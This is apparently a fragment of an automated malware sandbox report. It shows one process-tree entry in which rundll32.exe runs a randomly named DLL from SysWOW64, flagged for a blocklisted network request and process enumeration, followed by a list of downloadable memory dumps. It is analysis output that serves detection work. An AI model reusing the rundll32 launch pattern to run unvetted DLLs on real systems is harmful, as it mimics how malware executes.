            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bfqg\xnol.aib",RunDLL
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              PID:908

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/860-5-0x00007FFE14E20000-0x00007FFE1580C000-memory.dmp
          Download

          memory/860-6-0x000001DEF26B0000-0x000001DEF26B1000-memory.dmp
          Download

          memory/860-7-0x000001DEF2860000-0x000001DEF2861000-memory.dmp
          Download

          memory/908-14-0x0000000000690000-0x00000000006AF000-memory.dmp
          Download

          memory/1144-2-0x00007FFE1C950000-0x00007FFE1CF87000-memory.dmp
          Download

          memory/1900-12-0x0000000002CE0000-0x0000000002CFF000-memory.dmp
          Download